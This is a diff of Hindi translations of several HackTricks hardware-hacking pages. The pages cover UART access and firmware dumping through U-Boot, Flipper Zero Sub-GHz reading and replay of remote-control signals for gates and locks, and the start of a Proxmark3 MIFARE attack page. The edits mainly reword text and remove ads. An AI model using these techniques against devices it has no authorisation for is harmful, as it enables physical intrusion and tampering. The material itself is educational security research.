कुछ लक्षित उपकरणों में, UART पोर्ट को निर्माता द्वारा RX या TX या यहां तक कि दोनों को बंद करके अक्षम किया गया है। उस स्थिति में, सर्किट बोर्ड में कनेक्शनों को ट्रेस करना और कुछ ब्रेकआउट पॉइंट ढूंढना सहायक हो सकता है। UART की कोई पहचान न होने और सर्किट के टूटने के बारे में एक मजबूत संकेत यह है कि डिवाइस की वारंटी की जांच करें। यदि डिवाइस कुछ वारंटी के साथ भेजा गया है, तो निर्माता कुछ डिबग इंटरफेस (इस मामले में, UART) छोड़ता है और इसलिए, UART को डिस्कनेक्ट किया होगा और डिबगिंग के दौरान इसे फिर से जोड़ देगा। इन ब्रेकआउट पिनों को सोल्डरिंग या जम्पर वायर के माध्यम से जोड़ा जा सकता है।
|
||||
कुछ लक्षित उपकरणों में, UART पोर्ट को निर्माता द्वारा RX या TX या यहां तक कि दोनों को बंद करके अक्षम किया गया है। इस मामले में, सर्किट बोर्ड में कनेक्शनों को ट्रेस करना और कुछ ब्रेकआउट पॉइंट ढूंढना सहायक हो सकता है। UART की कोई पहचान न होने और सर्किट के टूटने के बारे में एक मजबूत संकेत यह है कि डिवाइस की वारंटी की जांच करें। यदि डिवाइस कुछ वारंटी के साथ भेजा गया है, तो निर्माता कुछ डिबग इंटरफेस (इस मामले में, UART) छोड़ता है और इसलिए, UART को डिस्कनेक्ट किया होगा और डिबगिंग के दौरान इसे फिर से जोड़ देगा। इन ब्रेकआउट पिनों को सोल्डरिंग या जम्पर वायर के माध्यम से जोड़ा जा सकता है।
|
||||
|
||||
### Identifying the UART Baud Rate
|
||||
|
||||
सही बौड दर की पहचान करने का सबसे आसान तरीका **TX पिन के आउटपुट को देखना और डेटा पढ़ने का प्रयास करना** है। यदि आपको प्राप्त डेटा पढ़ने योग्य नहीं है, तो अगले संभावित बौड दर पर स्विच करें जब तक डेटा पढ़ने योग्य न हो जाए। आप USB-से-सीरियल एडाप्टर या बस पायरेट जैसे बहुउद्देशीय उपकरण का उपयोग कर सकते हैं, जो एक सहायक स्क्रिप्ट, जैसे [baudrate.py](https://github.com/devttys0/baudrate/) के साथ जोड़ा गया हो। सबसे सामान्य बौड दर 9600, 38400, 19200, 57600, और 115200 हैं।
|
||||
सही बौड दर की पहचान करने का सबसे आसान तरीका **TX पिन के आउटपुट को देखना और डेटा पढ़ने का प्रयास करना** है। यदि आपको प्राप्त डेटा पढ़ने योग्य नहीं है, तो अगले संभावित बौड दर पर स्विच करें जब तक डेटा पढ़ने योग्य न हो जाए। आप USB-टू-सीरियल एडाप्टर या बस पायरेट जैसे बहुउद्देशीय उपकरण का उपयोग कर सकते हैं, जो एक सहायक स्क्रिप्ट, जैसे [baudrate.py](https://github.com/devttys0/baudrate/) के साथ जोड़ा गया हो। सबसे सामान्य बौड दर 9600, 38400, 19200, 57600, और 115200 हैं।
|
||||
|
||||
{% hint style="danger" %}
|
||||
यह ध्यान रखना महत्वपूर्ण है कि इस प्रोटोकॉल में आपको एक डिवाइस के TX को दूसरे के RX से कनेक्ट करना होगा!
|
||||
|
@ -70,11 +57,11 @@ UART के 4 पोर्ट होते हैं: **TX**(Transmit), **RX**(R
|
|||
|
||||
## CP210X UART to TTY Adapter
|
||||
|
||||
CP210X चिप का उपयोग कई प्रोटोटाइपिंग बोर्डों में किया जाता है जैसे NodeMCU (esp8266 के साथ) सीरियल संचार के लिए। ये एडाप्टर अपेक्षाकृत सस्ते होते हैं और लक्षित UART इंटरफेस से कनेक्ट करने के लिए उपयोग किए जा सकते हैं। डिवाइस में 5 पिन होते हैं: 5V, GND, RXD, TXD, 3.3V। किसी भी नुकसान से बचने के लिए सुनिश्चित करें कि लक्षित द्वारा समर्थित वोल्टेज से कनेक्ट करें। अंततः एडाप्टर के RXD पिन को लक्षित के TXD से और एडाप्टर के TXD पिन को लक्षित के RXD से कनेक्ट करें।
|
||||
CP210X चिप का उपयोग कई प्रोटोटाइपिंग बोर्डों में किया जाता है जैसे NodeMCU (esp8266 के साथ) सीरियल संचार के लिए। ये एडाप्टर अपेक्षाकृत सस्ते होते हैं और लक्षित UART इंटरफेस से कनेक्ट करने के लिए उपयोग किए जा सकते हैं। डिवाइस में 5 पिन होते हैं: 5V, GND, RXD, TXD, 3.3V। सुनिश्चित करें कि लक्षित द्वारा समर्थित वोल्टेज से कनेक्ट करें ताकि कोई नुकसान न हो। अंततः एडाप्टर के RXD पिन को लक्षित के TXD से और एडाप्टर के TXD पिन को लक्षित के RXD से कनेक्ट करें।
|
||||
|
||||
यदि एडाप्टर का पता नहीं लगाया गया है, तो सुनिश्चित करें कि CP210X ड्राइवर होस्ट सिस्टम में स्थापित हैं। एक बार जब एडाप्टर का पता लगाया जाता है और कनेक्ट किया जाता है, तो picocom, minicom या screen जैसे उपकरणों का उपयोग किया जा सकता है।
|
||||
यदि एडाप्टर का पता नहीं चलता है, तो सुनिश्चित करें कि CP210X ड्राइवर होस्ट सिस्टम में स्थापित हैं। एक बार जब एडाप्टर का पता लगाया जाता है और कनेक्ट किया जाता है, तो picocom, minicom या screen जैसे उपकरणों का उपयोग किया जा सकता है।
|
||||
|
||||
Linux/MacOS सिस्टम पर जुड़े उपकरणों की सूची बनाने के लिए:
|
||||
Linux/MacOS सिस्टम से जुड़े उपकरणों की सूची बनाने के लिए:
|
||||
```
|
||||
ls /dev/
|
||||
```
|
||||
|
@ -174,15 +161,15 @@ waiting a few secs to repeat....
|
|||
```
|
||||
## Dumping Firmware with UART Console
|
||||
|
||||
UART Console एक शानदार तरीका है जो रनटाइम वातावरण में अंतर्निहित फर्मवेयर के साथ काम करने के लिए प्रदान करता है। लेकिन जब UART Console का एक्सेस केवल पढ़ने के लिए होता है, तो यह कई सीमाएँ पेश कर सकता है। कई एम्बेडेड उपकरणों में, फर्मवेयर EEPROMs में संग्रहीत होता है और उन प्रोसेसर्स में निष्पादित होता है जिनकी वोलाटाइल मेमोरी होती है। इसलिए, फर्मवेयर को केवल पढ़ने के लिए रखा जाता है क्योंकि निर्माण के दौरान मूल फर्मवेयर EEPROM के अंदर होता है और कोई भी नए फ़ाइलें वोलाटाइल मेमोरी के कारण खो जाती हैं। इसलिए, एम्बेडेड फर्मवेयर के साथ काम करते समय फर्मवेयर को डंप करना एक मूल्यवान प्रयास है।
|
||||
UART Console एक शानदार तरीका है जो रनटाइम वातावरण में अंतर्निहित फर्मवेयर के साथ काम करने के लिए प्रदान करता है। लेकिन जब UART Console का एक्सेस केवल पढ़ने के लिए होता है, तो यह कई सीमाएँ पेश कर सकता है। कई एम्बेडेड उपकरणों में, फर्मवेयर EEPROMs में संग्रहीत होता है और उन प्रोसेसर्स में निष्पादित होता है जिनकी वोलाटाइल मेमोरी होती है। इसलिए, फर्मवेयर को पढ़ने के लिए केवल रखा जाता है क्योंकि निर्माण के दौरान मूल फर्मवेयर EEPROM के अंदर होता है और कोई भी नए फ़ाइलें वोलाटाइल मेमोरी के कारण खो जाती हैं। इसलिए, एम्बेडेड फर्मवेयर के साथ काम करते समय फर्मवेयर को डंप करना एक मूल्यवान प्रयास है।
|
||||
|
||||
यह करने के कई तरीके हैं और SPI अनुभाग विभिन्न उपकरणों के साथ EEPROM से सीधे फर्मवेयर निकालने के तरीकों को कवर करता है। हालांकि, यह अनुशंसा की जाती है कि पहले UART के साथ फर्मवेयर को डंप करने की कोशिश करें क्योंकि भौतिक उपकरणों और बाहरी इंटरैक्शन के साथ फर्मवेयर को डंप करना जोखिम भरा हो सकता है।
|
||||
|
||||
UART Console से फर्मवेयर को डंप करने के लिए पहले बूटलोडर्स तक पहुंच प्राप्त करना आवश्यक है। कई लोकप्रिय विक्रेता लिनक्स को लोड करने के लिए अपने बूटलोडर के रूप में uboot (यूनिवर्सल बूटलोडर) का उपयोग करते हैं। इसलिए, uboot तक पहुंच प्राप्त करना आवश्यक है।
|
||||
|
||||
बूट बूटलोडर तक पहुंच प्राप्त करने के लिए, UART पोर्ट को कंप्यूटर से कनेक्ट करें और किसी भी सीरियल कंसोल टूल का उपयोग करें और उपकरण की पावर सप्लाई को डिस्कनेक्ट रखें। एक बार सेटअप तैयार हो जाने पर, एंटर कुंजी दबाएं और उसे दबाए रखें। अंततः, उपकरण को पावर सप्लाई कनेक्ट करें और इसे बूट होने दें।
|
||||
बूट बूटलोडर तक पहुंच प्राप्त करने के लिए, UART पोर्ट को कंप्यूटर से कनेक्ट करें और किसी भी सीरियल कंसोल उपकरण का उपयोग करें और उपकरण की पावर सप्लाई को डिस्कनेक्ट रखें। एक बार सेटअप तैयार हो जाने पर, एंटर कुंजी दबाएं और उसे दबाए रखें। अंततः, उपकरण को पावर सप्लाई कनेक्ट करें और इसे बूट होने दें।
|
||||
|
||||
यह करने से uboot को लोड करने से रोका जाएगा और एक मेनू प्रदान किया जाएगा। uboot कमांड को समझना और उन्हें सूचीबद्ध करने के लिए मदद मेनू का उपयोग करना अनुशंसित है। यह `help` कमांड हो सकता है। चूंकि विभिन्न विक्रेता विभिन्न कॉन्फ़िगरेशन का उपयोग करते हैं, इसलिए प्रत्येक को अलग से समझना आवश्यक है।
|
||||
यह करने से uboot को लोड करने से रोका जाएगा और एक मेनू प्रदान करेगा। uboot कमांड को समझना और उन्हें सूचीबद्ध करने के लिए मदद मेनू का उपयोग करना अनुशंसित है। यह `help` कमांड हो सकता है। चूंकि विभिन्न विक्रेता विभिन्न कॉन्फ़िगरेशन का उपयोग करते हैं, इसलिए प्रत्येक को अलग से समझना आवश्यक है।
|
||||
|
||||
आमतौर पर, फर्मवेयर को डंप करने के लिए कमांड है:
|
||||
```
|
||||
|
@ -196,31 +183,19 @@ binwalk -e <filename.rom>
|
|||
```
|
||||
यह EEPROM से संभावित सामग्री को सूचीबद्ध करेगा जैसा कि हेक्स फ़ाइल में पाए गए हस्ताक्षरों के अनुसार है।
|
||||
|
||||
हालांकि, यह ध्यान रखना आवश्यक है कि यह हमेशा मामला नहीं है कि uboot अनलॉक है भले ही इसका उपयोग किया जा रहा हो। यदि एंटर कुंजी कुछ नहीं करती है, तो स्पेस कुंजी जैसी विभिन्न कुंजियों की जांच करें। यदि बूटलोडर लॉक है और इसे बाधित नहीं किया जाता है, तो यह विधि काम नहीं करेगी। यह जांचने के लिए कि क्या uboot डिवाइस के लिए बूटलोडर है, डिवाइस के बूटिंग के दौरान UART कंसोल पर आउटपुट की जांच करें। यह बूटिंग के दौरान uboot का उल्लेख कर सकता है।
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो यह जांचने के लिए **फ्री** कार्यक्षमताएँ प्रदान करता है कि क्या किसी कंपनी या उसके ग्राहकों को **स्टीलर मैलवेयर** द्वारा **समझौता** किया गया है।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मैलवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट पर जा सकते हैं और **फ्री** में उनके इंजन का प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
हालांकि, यह ध्यान रखना आवश्यक है कि यह हमेशा मामला नहीं है कि uboot अनलॉक है भले ही इसका उपयोग किया जा रहा हो। यदि एंटर कुंजी कुछ नहीं करती है, तो स्पेस कुंजी जैसी विभिन्न कुंजियों की जांच करें। यदि बूटलोडर लॉक है और इसे बाधित नहीं किया जाता है, तो यह विधि काम नहीं करेगी। यह जांचने के लिए कि क्या uboot डिवाइस के लिए बूटलोडर है, डिवाइस के बूटिंग के दौरान UART कंसोल पर आउटपुट की जांच करें। यह बूटिंग के दौरान uboot का उल्लेख कर सकता है।
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -9,20 +9,12 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करके हैकिंग ट्रिक्स साझा करें।**
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs जमा करके हैकिंग ट्रिक्स साझा करें।**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
[**Flipper Zero**](https://flipperzero.one/) के साथ आप कर सकते हैं:
|
||||
|
||||
* **रेडियो आवृत्तियों को सुनें/कैप्चर करें/रीप्ले करें:** [**Sub-GHz**](fz-sub-ghz.md)
|
||||
|
@ -36,12 +28,6 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
|
||||
**अन्य Flipper Zero संसाधन** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -51,8 +37,8 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करके हैकिंग ट्रिक्स साझा करें।**
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs जमा करके हैकिंग ट्रिक्स साझा करें।**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -9,29 +9,22 @@
|
|||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## परिचय <a href="#kfpn7" id="kfpn7"></a>
|
||||
|
||||
Flipper Zero **300-928 MHz** की रेंज में रेडियो फ्रीक्वेंसी प्राप्त और प्रसारित कर सकता है, जिसमें इसका अंतर्निर्मित मॉड्यूल है, जो रिमोट कंट्रोल को पढ़ने, सहेजने और अनुकरण करने में सक्षम है। ये नियंत्रण गेट, बैरियर्स, रेडियो ताले, रिमोट कंट्रोल स्विच, वायरलेस डोरबेल, स्मार्ट लाइट और अधिक के साथ इंटरैक्शन के लिए उपयोग किए जाते हैं। Flipper Zero आपको यह जानने में मदद कर सकता है कि आपकी सुरक्षा से समझौता किया गया है या नहीं।
|
||||
Flipper Zero **300-928 MHz** की रेंज में रेडियो फ्रीक्वेंसी प्राप्त और प्रसारित कर सकता है, जिसमें इसका अंतर्निहित मॉड्यूल है, जो रिमोट कंट्रोल को पढ़ने, सहेजने और अनुकरण करने में सक्षम है। ये नियंत्रण गेट, बैरियर्स, रेडियो ताले, रिमोट कंट्रोल स्विच, वायरलेस डोरबेल, स्मार्ट लाइट और अधिक के साथ इंटरैक्शन के लिए उपयोग किए जाते हैं। Flipper Zero आपको यह जानने में मदद कर सकता है कि आपकी सुरक्षा से समझौता किया गया है या नहीं।
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (714).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Sub-GHz हार्डवेयर <a href="#kfpn7" id="kfpn7"></a>
|
||||
|
||||
Flipper Zero में एक अंतर्निर्मित सब-1 GHz मॉड्यूल है जो [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101 चिप](https://www.ti.com/lit/ds/symlink/cc1101.pdf) और एक रेडियो एंटीना (अधिकतम रेंज 50 मीटर है) पर आधारित है। CC1101 चिप और एंटीना दोनों को 300-348 MHz, 387-464 MHz, और 779-928 MHz बैंड में फ्रीक्वेंसी पर काम करने के लिए डिज़ाइन किया गया है।
|
||||
Flipper Zero में एक अंतर्निहित सब-1 GHz मॉड्यूल है जो [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101 चिप](https://www.ti.com/lit/ds/symlink/cc1101.pdf) और एक रेडियो एंटीना (अधिकतम रेंज 50 मीटर है) पर आधारित है। CC1101 चिप और एंटीना दोनों को 300-348 MHz, 387-464 MHz, और 779-928 MHz बैंड में फ्रीक्वेंसी पर काम करने के लिए डिज़ाइन किया गया है।
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (923).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -40,7 +33,7 @@ Flipper Zero में एक अंतर्निर्मित सब-1 GHz
|
|||
### फ्रीक्वेंसी एनालाइज़र
|
||||
|
||||
{% hint style="info" %}
|
||||
कैसे पता करें कि रिमोट कौन सी फ्रीक्वेंसी का उपयोग कर रहा है
|
||||
कैसे पता करें कि कौन सी फ्रीक्वेंसी रिमोट का उपयोग कर रही है
|
||||
{% endhint %}
|
||||
|
||||
विश्लेषण करते समय, Flipper Zero सभी उपलब्ध फ्रीक्वेंसियों पर सिग्नल स्ट्रेंथ (RSSI) को स्कैन कर रहा है। Flipper Zero सबसे उच्च RSSI मान के साथ फ्रीक्वेंसी प्रदर्शित करता है, जिसमें सिग्नल स्ट्रेंथ -90 [dBm](https://en.wikipedia.org/wiki/DBm) से अधिक है।
|
||||
|
@ -55,17 +48,17 @@ Flipper Zero में एक अंतर्निर्मित सब-1 GHz
|
|||
### पढ़ें
|
||||
|
||||
{% hint style="info" %}
|
||||
उपयोग की गई फ्रीक्वेंसी के बारे में जानकारी प्राप्त करें (किसी अन्य तरीके से यह पता करने के लिए कि कौन सी फ्रीक्वेंसी का उपयोग किया गया है)
|
||||
उपयोग की गई फ्रीक्वेंसी के बारे में जानकारी प्राप्त करें (कौन सी फ्रीक्वेंसी का उपयोग किया जा रहा है यह जानने का एक और तरीका)
|
||||
{% endhint %}
|
||||
|
||||
**पढ़ें** विकल्प **निर्धारित मॉड्यूलेशन पर कॉन्फ़िगर की गई फ्रीक्वेंसी पर सुनता है**: डिफ़ॉल्ट रूप से 433.92 AM। यदि **पढ़ते समय कुछ पाया जाता है**, तो **स्क्रीन पर जानकारी दी जाती है**। इस जानकारी का उपयोग भविष्य में सिग्नल को दोहराने के लिए किया जा सकता है।
|
||||
**पढ़ें** विकल्प **निर्धारित मॉड्यूलेशन पर कॉन्फ़िगर की गई फ्रीक्वेंसी पर सुनता है**: डिफ़ॉल्ट रूप से 433.92 AM। यदि पढ़ते समय **कुछ पाया जाता है**, तो **स्क्रीन पर जानकारी दी जाती है**। इस जानकारी का उपयोग भविष्य में सिग्नल को दोहराने के लिए किया जा सकता है।
|
||||
|
||||
जब पढ़ा जा रहा है, तो **बाईं बटन** को दबाना और **कॉन्फ़िगर करना** संभव है।\
|
||||
जब पढ़ना उपयोग में है, तो **बाईं बटन** को दबाना और **कॉन्फ़िगर करना** संभव है।\
|
||||
इस समय इसमें **4 मॉड्यूलेशन** (AM270, AM650, FM328 और FM476) और **कई प्रासंगिक फ्रीक्वेंसियाँ** संग्रहीत हैं:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (947).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
आप **कोई भी सेट कर सकते हैं जो आपको रुचिकर लगे**, हालाँकि, यदि आप **निश्चित नहीं हैं कि कौन सी फ्रीक्वेंसी** रिमोट द्वारा उपयोग की जा सकती है, तो **हॉपिंग को ON सेट करें** (डिफ़ॉल्ट रूप से OFF), और बटन को कई बार दबाएं जब तक Flipper इसे कैप्चर न कर ले और आपको फ्रीक्वेंसी सेट करने के लिए आवश्यक जानकारी न दे।
|
||||
आप **कोई भी सेट कर सकते हैं जो आपको रुचिकर लगे**, हालाँकि, यदि आप **निश्चित नहीं हैं कि कौन सी फ्रीक्वेंसी** रिमोट द्वारा उपयोग की जा रही है, तो **हॉपिंग को ON सेट करें** (डिफ़ॉल्ट रूप से OFF), और बटन को कई बार दबाएं जब तक Flipper इसे कैप्चर न कर ले और आपको फ्रीक्वेंसी सेट करने के लिए आवश्यक जानकारी न दे।
|
||||
|
||||
{% hint style="danger" %}
|
||||
फ्रीक्वेंसियों के बीच स्विच करने में कुछ समय लगता है, इसलिए स्विचिंग के समय प्रसारित सिग्नल छूट सकते हैं। बेहतर सिग्नल रिसेप्शन के लिए, फ्रीक्वेंसी एनालाइज़र द्वारा निर्धारित एक निश्चित फ्रीक्वेंसी सेट करें।
|
||||
|
@ -128,12 +121,6 @@ Flipper Zero में एक अंतर्निर्मित सब-1 GHz
|
|||
|
||||
* [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -143,7 +130,7 @@ Flipper Zero में एक अंतर्निर्मित सब-1 GHz
|
|||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,22 +15,14 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Proxmark3 के साथ RFID सिस्टम पर हमला करना
|
||||
|
||||
आपको जो पहली चीज़ करने की ज़रूरत है वह है [**Proxmark3**](https://proxmark.com) होना और [**सॉफ़्टवेयर और इसके निर्भरताएँ स्थापित करना**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
|
||||
आपको जो पहली चीज़ करनी है वह है [**Proxmark3**](https://proxmark.com) होना और [**सॉफ़्टवेयर और इसके निर्भरताएँ स्थापित करना**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
|
||||
|
||||
### MIFARE Classic 1KB पर हमला करना
|
||||
|
||||
इसमें **16 सेक्टर** हैं, प्रत्येक में **4 ब्लॉक** हैं और प्रत्येक ब्लॉक में **16B** होता है। UID सेक्टर 0 ब्लॉक 0 में है (और इसे बदला नहीं जा सकता)।\
|
||||
